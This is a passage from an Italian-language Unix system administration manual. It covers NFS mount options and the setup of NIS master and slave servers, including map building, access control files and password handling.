soft	Stabilisce che venga generato un errore di I/O non appena si verifica un *major timeout*. Questa modalità si contrappone a quella '**hard**'.
intr	Permette l'interruzione di una chiamata NFS attraverso l'uso di segnali. Può essere utile per interrompere una connessione quando il servente non risponde.
nosuid	Evita di prendere in considerazione i permessi di tipo SUID e SGID dei file eseguibili.

In condizioni normali, conviene usare le opzioni '**rw**', '**hard**' e '**intr**', come nell'esempio seguente che rappresenta sempre una direttiva del file '/etc/fstab':

```
...
dinkel.brot.dg:/home  /home        nfs      rw,hard,intr       0  0
...
```

Per motivi di sicurezza, può essere utile anche l'opzione '**nosuid**', se si teme che un programma compromesso, presente nel file system remoto, possa acquisire privilegi particolare e intaccare l'elaboratore locale dal quale lo si avvia. Si vedano comunque le pagine di manuale *mount(8)* e *nfs(5)*.

42.4 NIS

Il NIS,[678] o *Network information service*, è un sistema di gestione di dati amministrativi concentrati in una sola fonte, rendendoli disponibili a tutta una rete in modo uniforme.

Il NIS è stato ideato e sviluppato originariamente dalla Sun Microsystems denominandolo originariamente *Yellow pages* (YP). Per questa ragione, molti programmi di servizio che ri-

guardano la gestione del NIS hanno il prefisso '**yp**'; inoltre, a volte si parla di «servizi YP» invece di «servizi NIS».

Il NIS è un meccanismo che si sovrappone alla gestione amministrativa di un sistema Unix tipico, ma questo avviene in un modo non perfettamente integrato. Quando si introduce il NIS, si inserisce un livello di intermediazione tra l'utente e il sistema di amministratore preesistente.

42.4.1 Concentrazione amministrativa del NIS versione 2

Lo scopo del NIS è quello di concentrare in un solo elaboratore la gestione di una serie di file amministrativi. La tabella 42.32 elenca alcuni file di configurazione, tipici di un sistema Unix, che possono essere gestiti in questo modo.

Tabella 42.32. Elenco di alcuni dei file amministrativi gestibili comunemente attraverso il NIS.

File	Descrizione
'/etc/passwd'	Informazioni sugli utenti.
'/etc/group'	Gruppi di utenti.
'/etc/shadow'	Parole d'ordine oscurate (quando gestibili).
'/etc/aliases'	Alias di posta elettronica.
'/etc/hosts'	Traduzione degli indirizzi IP dei nodi della rete locale.
'/etc/networks'	Traduzione degli indirizzi IP delle sottoreti (locali).
'/etc/protocols'	Nomi e numeri dei protocolli di rete.
'/etc/rpc'	Numeri delle chiamate RPC.
'/etc/services'	Abbinamento dei servizi di rete ai numeri di porta corrispondenti.

È bene chiarire subito che il supporto alle parole d'ordine oscurate non è disponibile in tutti i NIS esistenti; inoltre, il protocollo NIS (fino alla versione 2) rende difficile il loro utilizzo in modo «sicuro», nel senso di mantenere effettivamente nascoste le stringhe cifrate corrispondenti alle parole d'ordine di accesso degli utenti.

La concentrazione amministrativa si attua facendo in modo che le informazioni dei file che interessano siano gestite a partire da un solo nodo. Generalmente, l'utilità del NIS sta nella possibilità di amministrare gli utenti da un'unica origine, facendo in modo che questi vengano riconosciuti in tutti gli elaboratori di un certo «dominio», senza dover essere inseriti effettivamente in ognuno di questi.

Gli esempi che si fanno nel capitolo sono volti principalmente al raggiungimento di questo risultato, concentrando così l'amministrazione dei file '/etc/passwd', '/etc/group' e '/etc/shadow'.

42.4.1.1 Mappe NIS

Il NIS non utilizza i file amministrativi così come sono, ne crea una copia; queste copie sono denominate «mappe». I file di mappa sono in formato DBM, dove si memorizzano solo coppie di dati: chiave-valore. Per questo motivo, a seconda della struttura dei file amministrativi originali, si possono generare più mappe differenti.

Quando si attiva il NIS, non si possono più utilizzare i vecchi comandi amministrativi (come '**passwd**', '**chsh**', ecc.), o quantomeno non conviene, perché il NIS non si accorge (autonomamente) dei cambiamenti apportati ai file tradizionali. Bisogna utilizzare i comandi specifici

del NIS, in modo che i cambiamenti siano annotati immediatamente nelle mappe e poi siano propagati nei file amministrativi normali del servente NIS.

La tabella 42.33 riporta l'elenco di alcune delle mappe tipiche della gestione NIS. La collocazione di questi file dipende dal dominio NIS, descritto nella sezione seguente, e corrisponde in pratica a '`/var/yp/`***dominio_nis***`/`'.

Tabella 42.33. Elenco di alcune mappe NIS.

Mappa	Descrizione
'`passwd.byname`'	Utenti per nome.
'`passwd.byuid`'	Utenti per numero UID.
'`group.byname`'	Gruppi per nome.
'`group.bygid`'	Gruppi per numero GID.
'`shadow.byname`'	Utenti per nome (dal file '`/etc/shadow`').
'`mail.aliases`'	Alias di posta elettronica.
'`hosts.byname`'	Nodi per nome.
'`hosts.byaddr`'	Nodi per indirizzo.
'`networks.byname`'	Reti locali per nome.
'`networks.byaddr`'	Reti locali per indirizzo.
'`protocols.byname`'	Protocolli di rete per nome.
'`protocols.bynumber`'	Protocolli di rete per numero.
'`rpc.byname`'	Chiamate RPC per nome.
'`rpc.bynumber`'	Chiamate RPC per numero.
'`services.byname`'	Servizi di rete per nome.

42.4.1.2 Dominio NIS

Quando si attiva un servizio NIS in un nodo, in modo che questo renda disponibili le informazioni relative a un gruppo di elaboratori, si deve definire un dominio NIS corrispondente. Questo non ha niente a che fare con i domini utilizzati dal servizio DNS, ma generalmente, anche se potrebbe sovrapporsi perfettamente a un dominio di questo tipo, conviene utilizzare nomi distinti che non abbiano un nesso logico o intuitivo.

Più precisamente, è meglio dire che si stabilisce prima l'estensione del dominio NIS che si vuole creare, quindi si deve «eleggere» il nodo più adatto a fungere da servente NIS. Infatti, questo elaboratore deve trovarsi in una posizione conveniente nella rete, in modo che sia accessibile facilmente da tutti gli elaboratori del dominio NIS. Oltre a questo è bene che si tratti di una macchina adeguata all'estensione del dominio: maggiore è il numero di clienti, maggiore è la frequenza con cui deve rispondere a richieste del protocollo NIS.

I file di mappa di un servente NIS sono raggruppati distintamente per dominio, nella directory '`/var/yp/`***dominio_nis***`/`'.

42.4.1.3 Servente principale e serventi secondari

Finora si è fatto riferimento a un servente NIS unico per tutto il suo dominio di competenza. Quando si attiva un servizio di questo tipo, tutti gli elaboratori clienti di questo dominio dipendono completamente dal servente per tutte quelle informazioni che sono state concentrate sotto la sua amministrazione. Se l'elaboratore che offre questo servizio dovesse venire a mancare per qualsiasi motivo, come un guasto, tutti i suoi clienti sarebbero in grave difficoltà.

Per risolvere il problema, si possono predisporre dei serventi NIS secondari, o *slave*, che riproducono le informazioni del servente principale, o *master*.

Il motivo per il quale si utilizza il servizio NIS è quello di uniformare e concentrare la gestione di informazioni di un gran numero di elaboratori, altrimenti non sarebbe giustificato l'impegno necessario alla sua attivazione. Di conseguenza, è praticamente obbligatorio attivare dei serventi secondari, sia per attenuare i rischi di blocco del sistema globale, sia per ridurre il carico di richieste NIS su un'unica macchina.

La presenza di serventi secondari impone la creazione di meccanismi automatici per il loro allineamento, generalmente attraverso il sistema Cron.

42.4.2 Distinzione dei ruoli tra servente e cliente

Finora è stato preso in considerazione il compito del servente NIS, senza valutare i clienti, ma all'inizio la distinzione dei compiti può sembrare confusa.

Il cliente NIS è un programma demone che si occupa di fornire al sistema in cui è in funzione le informazioni che altrimenti verrebbero ottenute dai soliti file di configurazione. La situazione tipica è quella della procedura di accesso: se il nome dell'utente non viene trovato nel file '`/etc/passwd`' locale, il cliente NIS cerca di ottenerlo dal servente NIS.

In pratica, le funzionalità di servente e cliente sono indipendenti: ci possono essere elaboratori che fungono da serventi, altri che utilizzano il programma cliente per accedere alle informazioni e altri ancora che fanno entrambe le cose.

Se si pensa che il servente NIS principale deve contenere tutte le informazioni che vengono condivise dai programmi clienti presso gli altri elaboratori, potrebbe sembrare inutile l'attivazione del programma cliente nello stesso servente. Tuttavia, le cose cambiano quando si considerano i serventi secondari. Questi non dispongono delle informazioni che ha l'elaboratore corrispondente al servente principale; per ottenerle occorre attivare il cliente NIS in modo che si possa mettere in comunicazione con il servente principale.

Nel sistema NIS così strutturato, i clienti cercano le informazioni, riferite al loro dominio, dal servente che risponde più rapidamente. Ciò viene determinato generalmente attraverso una richiesta circolare (broadcast). Questo, tra le altre cose, è uno dei punti deboli del NIS: dal momento che qualunque elaboratore può rispondere a una chiamata circolare, chiunque è in grado di intromettersi per cercare di catturare delle informazioni.

42.4.2.1 Propagazione delle informazioni

Quando si deve intervenire per modificare qualche informazione di quelle che sono condivise attraverso il NIS, si presentano situazioni differenti a seconda delle circostanze. Queste si traducono in modalità diverse di propagazione delle modifiche nell'intero sistema NIS. Si distinguono due situazioni fondamentali:

- la modifica di un'informazione nell'elaboratore di origine (il servente principale) sui dati di partenza;
- la modifica di un'informazione attraverso gli strumenti offerti dal sistema NIS.

Nel primo caso le azioni da compiere sono:

1. aggiornare le mappe del servente principale;

2. aggiornare le mappe dei serventi secondari.

Nel secondo caso le azioni da compiere sono:

1. aggiornare i file di configurazione corrispondenti nel servente principale
2. aggiornare le mappe del servente principale
3. aggiornare le mappe dei serventi secondari

Quando si interviene manualmente sui file di configurazione di partenza del servente principale, per esempio quando si vuole aggiungere o eliminare un utente, si deve poi comandare manualmente l'aggiornamento delle mappe NIS; eventualmente si può pilotare anche l'aggiornamento dei serventi secondari, attraverso un cosiddetto *push*.

Quando si utilizzano gli strumenti offerti da NIS per modificare la configurazione dei dati condivisi, ciò può avvenire solo attraverso un cliente, il quale si occupa di contattare il servente principale che poi deve provvedere ad aggiornare i file normali e le mappe.

La propagazione delle mappe modificate ai serventi secondari potrebbe essere un problema. Per questo si utilizza generalmente il sistema Cron in ogni servente secondario, in modo da avviare periodicamente il comando necessario a metterli in comunicazione con il servente principale e verificare così la presenza di aggiornamenti eventuali.

Dalla precisione del funzionamento di questo sistema di propagazione derivano delle conseguenze pratiche che, a prima vista, possono sembrare assurde. Si può immaginare cosa può accadere quando un utente cambia la propria parola d'ordine da un cliente NIS. Questo contatta il servente principale che provvede ad aggiornare le mappe e il file '`/etc/passwd`'. Ma fino a che i serventi secondari non ricevono l'aggiornamento, i clienti che li utilizzano continuano a permettere l'accesso con la parola d'ordine vecchia. Questo può capitare allo stesso elaboratore dal quale è stata compiuta l'operazione di modifica, se questo utilizza il servizio di un servente secondario non aggiornato. In queste condizioni, l'utente che ha appena cambiato parola d'ordine e tenta un altro accesso sulla stessa macchina, potrebbe trovarsi spaesato di fronte al rifiuto che gli si presenta.

42.4.3 NIS e DNS

Il NIS permette di distribuire le informazioni contenute nei file '`/etc/hosts`' e '`/etc/networks`', i quali consentono di risolvere i nomi dei nodi della rete locale, quando non si vuole fare uso di un DNS. Attraverso questa possibilità è poi possibile configurare il file '`/etc/host.conf`' dei vari clienti NIS, in modo che venga utilizzata tale informazione. Di solito si tratta di indicare una riga come quella seguente:

```
...
order hosts,nis
...
```

Tuttavia, nel momento stesso in cui si stabilisce di utilizzare il NIS, si decide di trattare l'organizzazione della rete locale seriamente, ma ciò comporta che anche la risoluzione dei nomi sia gestita in modo adeguato. Pertanto diventerebbe un controsenso la pretesa di gestire la risoluzione dei nomi solo attraverso il NIS, quando con poco impegno si può attivare un servente DNS. Al limite si possono unire le due cose:

```
…
order hosts,bind,nis
…
```

42.4.4 RPC

Il NIS utilizza le chiamate RPC per comunicare. Questo significa che è necessaria la presenza del Portmapper in funzione sia nei nodi serventi, sia nei nodi clienti (si veda eventualmente la sezione 42.2).

È anche importante verificare che i servizi di sincronizzazione, *time service*, siano previsti nel controllo del supervisore dei servizi di rete. Il file '`/etc/inetd.conf`' potrebbe contenere le righe seguenti:

```
#
# Time service is used for clock syncronization.
#
time            stream  tcp     nowait  root    internal
time            dgram   udp     wait    root    internal
```

Si osservi comunque che in alcune distribuzioni GNU, in base alla configurazione predefinita del supervisore dei servizi di rete, il servizio TIME attraverso il protocollo UDP non viene fornito, ma il servizio NIS dovrebbe funzionare ugualmente.

Se si devono apportare delle modifiche al file di configurazione del supervisore dei servizi di rete, bisogna poi ricordarsi di riavviarlo (sezione 42.1).

42.4.5 Allestimento di un servente NIS versioni 1 e 2

Gli elementi indispensabili di un servente NIS sono i programmi '**`ypserv`**' e '**`makedbm`**'. Il primo svolge il ruolo di demone in ascolto delle richieste NIS per il dominio di competenza, il secondo è necessario per convertire i file di configurazione normali in file DBM, cioè nelle mappe NIS.

Nel caso di un servente principale è anche opportuna la presenza di altri due demoni: '**`rpc.yppasswdd`**' e '**`rpc.ypxfrd`**'. Il primo serve a permettere la modifica delle parole d'ordine degli utenti attraverso il sistema NIS, il secondo serve a facilitare l'aggiornamento ai serventi secondari.

La configurazione di '**`ypserv`**' e '**`rpc.ypxfrd`**' può dipendere dal modo in cui sono stati compilati i sorgenti rispettivi. In generale si utilizza il file '`/etc/ypserv.conf`' per definire il comportamento di entrambi i programmi; inoltre '**`ypserv`**' può far uso di '`/etc/ypserv.securenets`' per conoscere gli indirizzi di rete da cui può accettare interrogazioni NIS, oppure può riutilizzare i tradizionali '`/etc/hosts.allow`' e '`/etc/hosts.deny`'. Per saperlo basta usare l'opzione '**`-version`**', come nell'esempio seguente:

`#` **`ypserv -version`** [*Invio*]

```
ypserv - NYS YP Server version 1.1.7 (with tcp wrapper)
```

L'esempio mostra il risultato di un '**ypserv**' compilato in modo da avvalersi dei file '`/etc/hosts.allow`' e '`/etc/hosts.deny`', gli stessi che utilizza il TCP wrapper allo scopo di filtrare gli accessi ai programmi controllati dal supervisore dei servizi di rete.

```
ypserv - NYS YP Server version 1.3.12 (with securenets)
```

Questo esempio ulteriore riguarda invece il risultato di un '**ypserv**' compilato in modo da avvalersi di '`/etc/ypserv.securenets`' (o di un file analogo collocato in una posizione diversa nel file system.

Prima di poter avviare il servente '**ypserv**', oltre a provvedere per la sua configurazione, occorre necessariamente che il Portmapper RPC sia in funzione e che il dominio NIS sia stato definito. In assenza di una sola di queste due condizioni, il programma '**ypserv**' non funziona, nel senso che non si riesce ad avviarlo.

42.4.5.1 Dominio NIS

Il dominio NIS viene definito attraverso '**domainname**', nel modo seguente:

domainname ***dominio_nis***

Quando viene usato senza argomenti, si ottiene il nome del dominio NIS; in questo modo si può controllare se l'impostazione è corretta. Per esempio, l'impostazione del dominio NIS *rost.nis-yp* può essere fatta e controllata nel modo seguente:

domainname rost.nis-yp [*Invio*]

domainname [*Invio*]

```
rost.nis-yp
```

Mentre l'impostazione del dominio è di competenza dell'utente '**root**', la verifica può essere fatta anche da un utente comune.

Di solito, si può fare riferimento a questo programma anche con altri nomi:

domainname [***opzioni***] [***dominio_nis***]

nisdomainname [***opzioni***] [***dominio_nis***]

ypdomainname [***opzioni***] [***dominio_nis***]

L'utilizzo tipico di '**domainname**' è riservato agli script della procedura di inizializzazione del sistema. Le istruzioni necessarie potrebbero essere organizzate nel modo seguente:

```
# Set the NIS domain name
if [ -n "$NISDOMAIN" ]
then
    domainname $NISDOMAIN
else
    domainname ""
fi
```

Oppure in modo alternativo anche come segue, dove il nome del dominio è contenuto in un file. In tal caso, bisogna fare attenzione al fatto che il file in questione deve essere composto esclusivamente da una riga, altrimenti viene presa in considerazione solo l'ultima, ma se questa è vuota, il dominio non viene definito.

```
# Set the NIS domain name
if [ -f "/etc/nisdomain" ]
then
    domainname -F /etc/nisdomain
else
    domainname ""
fi
```

42.4.5.2 Avvio del servente

In condizioni normali, '**`ypserv`**' non richiede l'uso di argomenti particolari, al massimo si tratta di controllare il file di configurazione '`/etc/ypserv.conf`' e l'eventuale '`/etc/ypserv.securenets`' (prima si deve verificare con l'opzione '**`-v`**' se questo file è necessario, o se al suo posto si usano i file di configurazione del TCP wrapper). In ogni caso, è importante che la directory '`/var/yp/`' sia stata creata (al suo interno si dovrebbe trovare un file-make, ma questo viene mostrato in seguito).

`#` **`ypserv`** [*Invio*]

Se tutto va bene, il programma si avvia sullo sfondo e si disassocia dalla shell, diventando un processo figlio di quello iniziale (Init).

`#` **`pstree`** [*Invio*]

```
init-+-...
     |-portmap
     |-...
     `-ypserv
```

Se il Portmapper RPC non fosse attivo, oppure se non fosse stato definito il dominio NIS, l'avvio di '**`ypserv`**' non dovrebbe riuscire. Eventualmente, si può verificare il funzionamento del Portmapper stesso, attraverso il comando seguente:

`#` **`rpcinfo -p localhost`** [*Invio*]

```
   program vers proto   port
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
```

Le righe che si vedono dall'esempio mostrato sono la dichiarazione esplicita del funzionamento del Portmapper. Per verificare espressamente la connessione con '**ypserv**', si può usare il comando seguente:

`#` **`rpcinfo -u localhost ypserv`** [*Invio*]

```
program 100004 version 1 ready and waiting
program 100004 version 2 ready and waiting
```

La sintassi per l'avvio di '**ypserv**' è molto semplice:

ypserv [*opzioni*]

L'elenco seguente descrive alcune opzioni della riga di comando di '**ypserv**' che possono essere utili.

Opzione	Descrizione
`-d` [*percorso_yp*] `--debug` [*percorso_yp*]	Utilizzando questa opzione si fa in modo che '**ypserv**' funzioni in modalità diagnostica. Per questo, invece di passare sullo sfondo, continua a funzionare occupando il terminale dal quale è stato avviato, emettendo informazioni particolareggiate su ciò che avviene attraverso lo standard error. Eventualmente si può indicare un percorso come argomento dell'opzione, intendendo fare in modo che '**ypserv**' utilizzi le mappe contenute a partire da quella directory, invece di quelle che si trovano a partire da '`/var/yp/`'.
`-b` `--dns`	Specifica che se un nodo non viene identificato diversamente, si deve utilizzare il servizio DNS.
`-v` `--version`	Visualizza i dati riferiti alla particolare versione di '**ypserv**'. Questa indicazione è molto importante, soprattutto per sapere quali file vengono utilizzati per controllare gli indirizzi che possono accedere al servizio.

Il programma '**ypserv**', quando tutto è configurato correttamente, viene controllato dalla procedura di inizializzazione del sistema, attraverso uno dei suoi script. L'esempio che segue rappresenta un modo semplice per ottenere questo, dove la variabile di ambiente ***NISDOMAIN*** viene usata per contenere il dominio NIS; se manca questa variabile non ha senso avviare il servente NIS.

```
if [ -n "$NISDOMAIN" ]
then
    if [ -f /usr/sbin/ypserv ]
    then
        /usr/sbin/ypserv
        echo ypserv
    fi
fi
```

Quello mostrato è solo uno dei tanti modi; in generale bisogna ricordare che si può avviare il servizio NIS solo dopo aver avviato il Portmapper.

Nelle distribuzioni più accurate, è normale trovare uno script apposito che permette di avviare e di interrompere l'attività del servente NIS, assieme a tutto quello di cui potrebbe avere bisogno. Questo genere di script può trovarsi nelle directory '/etc/rc.d/init.d/', '/etc/init.d/' e altre possibili.

42.4.5.3 Configurazione principale

La configurazione di '/etc/ypserv.conf' riguarda il funzionamento di '**ypserv**' e '**rpc.ypxfrd**' in ogni caso. quando si fanno dei cambiamenti a questa configurazione occorre riavviare i demoni o inviare loro un segnale '**SIGHUP**'.

L'impostazione di questo file può essere anche molto complicata. In linea di massima ci si può fidare della configurazione predefinita, o dei suggerimenti posti nei suoi commenti.

Il file può contenere commenti, rappresentati inizialmente dal simbolo '**#**', righe vuote o bianche, direttive riferite a opzioni e direttive riferite a regole di accesso. Le direttive di opzione hanno la forma seguente, dove la parola chiave '**yes**' attiva l'opzione, mentre '**no**' la disattiva.

opzione : [yes|no]

L'elenco seguente descrive tali opzioni.

Opzione	Descrizione
dns : [yes|no]	Attivando questa opzione, si fa in modo che il servente NIS utilizzi il DNS quando gli vengono richieste informazioni sui nodi che non può risolvere con le mappe '**hosts.***'. Il valore predefinito è '**no**' e questa opzione può essere attivata anche attraverso la riga di comando, '**--dns**', cosa che prevale su quanto stabilito nel file di configurazione.
xfr_check_port : [yes|no]	Attivando questa opzione, il servente principale deve utilizzare una porta inferiore al numero 1024. Il valore predefinito è '**yes**'.

Le direttive di accesso hanno invece il formato seguente:

nodo : *mappa* : *livello_sicurezza* : *soppressione* [: *campo*]

- ***nodo***

  Si tratta di un indirizzo IP che può rappresentare un solo nodo o un gruppo. La rappresentazione può essere fatta attraverso un indirizzo IP incompleto, o la coppia indirizzo/maschera. Un indirizzo IP incompleto rappresenta tutti gli indirizzi che iniziano in quel modo, per cui, per esempio, «192.168.» equivale alla notazione 192.168.0.0/255.255.0.0, dove il secondo indirizzo è la maschera.

- ***mappa***

  Il nome della mappa, oppure un asterisco per identificare tutte le mappe.

- ***livello_sicurezza***

  Il livello, o il tipo di sicurezza, viene definito attraverso una parola chiave: '**`none`**', '**`port`**', '**`deny`**', '**`des`**'.

Parola chiave	Descrizione
`none`	Concede qualunque accesso.
`port`	Permette di accedere se la richiesta viene da una porta inferiore al numero 1024, ma solo se è stata specificata la soppressione.
`deny`	Vieta l'accesso alla mappa in questione.
`des`	Richiede l'autenticazione DES. Può funzionare solo se le librerie utilizzate sono in grado di gestire questa funzionalità.

- ***soppressione***

  Può contenere solo una tra le parole chiave '**`yes`**' e '**`no`**', dove '**`yes`**' attiva la soppressione del campo specificato. La soppressione implica che al suo posto viene collocata una «x», se il controllo della porta rivela che la richiesta proviene da un accesso non privilegiato.

- ***campo***

  Serve a specificare quale campo deve essere soppresso. Quello predefinito è il secondo.

L'esempio seguente rappresenta una configurazione predefinita di una distribuzione GNU:

```
# The following, when uncommented,  will give you shadow like
# passwords. Note that it will not work if you have slave NIS servers
# in your network that do not run the same server as you.

# Host                  : Map              : Security    : Passwd_mangle
#
# *                     : passwd.byname    : port        : yes
# *                     : passwd.byuid     : port        : yes
# *                     : *                : none

# This is the default - restrict access to the shadow password file,
# allow access to all others.
*                       : shadow.byname    : port
*                       : passwd.adjunct.byname : port
*                       : *                : none
```

42.4.5.4 Configurazione dei diritti di accesso

Il file '/etc/ypserv.securenets' viene usato da '**ypserv**' per sapere quali sono gli indirizzi ammessi a eseguire interrogazioni nel sistema NIS. Ma bisogna anche ricordare che '**ypserv**' potrebbe essere stato compilato per non usare questo file, utilizzando al suo posto '/etc/hosts.allow' e '/etc/hosts.deny'. Questo lo si determina utilizzando l'opzione '**-v**'.

Nel caso in cui '**ypserv**' utilizzi il file '/etc/ypserv.securenets', se questo manca o è vuoto, vengono consentiti tutti gli accessi in modo indiscriminato. Ogni volta che si modifica il file è necessario riavviare '**ypserv**', oppure gli si deve inviare un segnale '**SIGHUP**'.

A parte i commenti (rappresentati dalle righe che iniziano con il simbolo '**#**') e le righe vuote, questo file è fatto principalmente per annotare coppie di indirizzi IP, dove il primo è la maschera e il secondo l'indirizzo della rete a cui si vuole concedere l'accesso. L'esempio seguente è simile a quello che si trova nella pagina di manuale *ypserv(8)* e dovrebbe essere sufficiente a comprendere il meccanismo.

```
# Consente le connessioni dallo stesso elaboratore locale
# (è necessario). Equivale a 255.255.255.255 127.0.0.1
#
host 127.0.0.1
#
#
# Permette le connessioni da tutti gli elaboratori della rete locale
# 192.168.1.0
#
255.255.255.0   192.168.1.0
```

Anche se potrebbe essere inutile, se il proprio sistema utilizza i file '/etc/hosts.allow' e '/etc/hosts.deny', è bene occuparsi della loro configurazione anche per ciò che potrebbe riguardare il NIS. Quelle che seguono sono le direttive che potrebbero essere inserite in '/etc/hosts.allow':

```
portmap: specifica_dei_nodi
ypserv: specifica_dei_nodi
ypbind: specifica_dei_nodi
yppasswd: specifica_dei_nodi
```

Per converso, può essere conveniente inserire le righe seguenti nel file '/etc/hosts.deny', allo scopo di escludere gli accessi che non provengano dai nodi autorizzati espressamente:

```
portmap: ALL
ypserv: ALL
ypbind: ALL
yppasswd: ALL
```

42.4.5.5 Configurazione e preparazione delle mappe

Le mappe NIS, come già accennato, sono collocate nella directory '/var/yp/***dominio_nis***/'. I file delle mappe esistenti, per il solo fatto di esserci, definiscono implicitamente quali sono i dati amministrativi che vengono gestiti in quel dominio NIS particolare. La loro creazione e il loro aggiornamento, avvengono attraverso un file-make che si trova nella directory '/var/yp/' e che generalmente viene utilizzato attraverso uno script. Il problema, semmai, sta nella necessità eventuale di modificare tale file-make per definire quali mappe debbano essere costruite.

In generale è indispensabile la lettura di questo file, per verificare come sono le impostazioni attuali. Si possono notare certamente molti commenti che spiegano il significato delle direttive che vengono date (può trattarsi di assegnamenti a variabili che poi sono riutilizzate nel file-make stesso). È molto importante osservare bene la conformazione dell'obiettivo '**all**'; nell'esempio seguente, questo obiettivo richiede probabilmente la modifica manuale per includere le mappe che si intendono gestire, secondo l'esempio commentato che lo precede:

```
#all    ethers hosts networks protocols rpc services passwd group \
#       shadow passwd.adjunct netid netgrp publickey mail timezone \
#       locale netmasks

all:  passwd group shadow ypservers
```

L'esempio successivo mostra invece un obiettivo '**all**' controllato da una variabile, dove proprio le mappe per la gestione del file '/etc/shadow' sono controllate in modo automatico, in base alla presenza del file stesso:

```
# If you don't want some of these maps built, feel free to comment
# them out from this list.

ALL =   passwd group hosts rpc services netid protocols netgrp networks
#ALL += publickey mail ethers bootparams printcap
#ALL += amd.home auto.master auto.home auto.local
#ALL += timezone locale netmasks

# Autodetect /etc/shadow if it's there
ifneq ($(wildcard $(SHADOW)),)
ALL +=  shadow
endif

# Autodetect /etc/passwd.adjunct if it's there
ifneq ($(wildcard $(ADJUNCT)),)
ALL +=  passwd.adjunct
endif

all:    $(ALL)
```

In questo file-make esiste comunque un'altra cosa molto importante da controllare:

```
# If we have only one server, we don't have to push the maps to the
# slave servers (NOPUSH=true). If you have slave servers, change this
# to "NOPUSH=false" and put all hostnames of your slave servers in the
# file /var/yp/ypservers.
NOPUSH=true
```

Nella prima parte viene definito, attraverso una variabile, se il servente deve occuparsi di spedire gli aggiornamenti (*push*) ai serventi secondari. In questo caso, commentando l'assegnamento della variabile ***NOPUSH*** si ottiene di mantenere attivo questo aggiornamento.[9]

Una volta predisposto il file-make, si può usare il programma '**make**', senza argomenti, oppure si può utilizzare un comando specifico (è la scelta più elegante, mentre '**make**' è la scelta più semplice quando si raggiunge una certa dimestichezza con il sistema).

```
# /usr/lib/yp/ypinit -m[Invio]
```

Il vero vantaggio nell'utilizzo di questo programma (che poi è in realtà uno script), sta nel fatto che provvede a costruire al volo il file '/var/yp/servers', con l'elenco dei serventi competenti per il dominio che si sta predisponendo.

```
At this point, we have to construct a list of the hosts which will run
NIS servers.  dinkel.brot.dg is in the list of NIS server hosts.
Please continue to add the names for the other hosts, one per line.
When you are done with the list, type a <control D>.
        next host to add:  dinkel.brot.dg
        next host to add:
```

Questa operazione va condotta dall'elaboratore che deve svolgere il ruolo di servente principale, di conseguenza, il suo indirizzo deve apparire per primo. Supponendo di avere un secondo elaboratore da utilizzare come servente secondario, si può aggiungere il suo nome e quindi terminare con la combinazione [*Ctrl d*].

```
next host to add: roggen.brot.dg[Invio]

next host to add:  [Ctrl d]
```

```
The current list of NIS servers looks like this:

dinkel.brot.dg
roggen.brot.dg
```

```
Is this correct?  [y/n:  y][Invio]
```

```
We need some  minutes to build the databases...
Building /var/yp/rost.nis-yp/ypservers...
Running /var/yp/Makefile...
NIS Map update started on Thu Jul 25 12:00:00 CEST 2002
make[1]: Entering directory '/var/yp/rost.nis-yp'
Updating passwd.byname...
Updating passwd.byuid...
Updating group.byname...
Updating group.bygid...
Updating shadow.byname...
make[1]: Leaving directory '/var/yp/rost.nis-yp'
NIS Map update completed.
```

Questo è il tipo di risultato che si può osservare quando tutto procede regolarmente. Se non si utilizza lo script '**ypinit**', si salta la predisposizione del file '/var/yp/rost.nis-yp/ypservers', che però potrebbe essere già stato ottenuto da un'esecuzione precedente di '**ypinit**'. In pratica, lo script '**ypinit**' va utilizzato convenientemente la prima volta che si allestisce il servente, mentre le altre volte è sufficiente utilizzare solo '**make**' dalla directory '/var/yp/':

cd /var/yp [*Invio*]

make [*Invio*]

42.4.5.6 Gestione delle parole d'ordine

Perché gli utenti del servizio NIS possano modificare la propria parola d'ordine di accesso, è necessario che nel servente principale sia in funzione il demone '**rpc.yppasswdd**':

```
rpc.yppasswdd [opzioni]
```

Le opzioni disponibili dipendono molto dalla versione di questo programma e dal modo con cui è stato compilato. È da questo programma che dipende anche la possibilità o meno di utilizzare '**ypchsh**' e '**ypchfn**'. In generale, utilizzandolo senza opzioni particolari, è possibile solo la modifica delle parole d'ordine.

Va però osservato che se nel servente NIS si esegue il comando

cd /var/yp ; make [*Invio*]

questi cambiamenti si perdono, perché si ripristinano i dati provenienti dai file di sistema '/etc/passwd' e '/etc/shadow'. Pertanto, il problema del cambiamento della parola d'ordine andrebbe risolto con strumenti differenti, tali da assicurare l'aggiornamento dei file di sistema tradizionali presso il servente NIS.

42.4.6 Predisposizione del servente secondario

I serventi secondari, ammesso che se ne vogliano avere, devono poter comunicare con il servente principale, ma naturalmente ciò richiede implicitamente che questi, oltre che serventi secondari, siano anche dei clienti. Più avanti viene spiegato come predisporre un cliente NIS; per il momento è bene affrontare ugualmente il problema, per mantenere mentalmente il collegamento con quanto già trattato sul servente principale.

Un servente secondario richiede le stesse cose del servente principale, a eccezione del demone '**`rpc.yppasswdd`**' che nel servente secondario non ha ragione di esistere. Questo significa che:

- si deve impostare il dominio NIS;
- si deve configurare '**`ypserv`**' attraverso '`/etc/ypserv.conf`' e '`/etc/ypserv.securenets`', oppure gli altri file del TCP wrapper.

Si è già accennato al fatto che il servente secondario deve avere il cliente NIS in funzione, ma la differenza più interessante sta nell'assenza del file-make nella directory '`/var/yp/`'. Naturalmente, il file-make può anche esserci, ma non deve essere preso in considerazione.

42.4.6.1 Riproduzione delle mappe nel servente secondario

Anche il servente secondario, per poter compiere il suo lavoro, deve disporre delle mappe NIS. Queste vengono create, copiandole dal servente principale, attraverso il comando seguente:

```
/usr/lib/yp/ypinit -s servente_nis_principale
```

In pratica, si avvia '**`ypinit`**' con l'opzione '**`-s`**', indicando il nome dell'elaboratore che ospita il servente principale. Per esempio, se il servente principale è *`dinkel.brot.dg`*, il comando corretto è il seguente:

`#` **`/usr/lib/yp/ypinit -s dinkel.brot.dg`** [*Invio*]

Perché l'operazione funzioni correttamente, occorre che il cliente NIS sottostante sia configurato e funzionante. In pratica, prima di utilizzare '**`ypinit`**', si può verificare che sia tutto in ordine con il comando seguente:

`#` **`ypwhich -m`** [*Invio*]

Questo deve restituire il nome del servente principale.

42.4.6.2 Sincronizzazione

La presenza di serventi secondari introduce nel sistema NIS dei problemi di sincronizzazione di questi con il servente principale. Oltre a tutto, lo stesso procedimento di sincronizzazione accresce i problemi di sicurezza, dal momento che periodicamente viaggiano informazioni delicate nella rete.

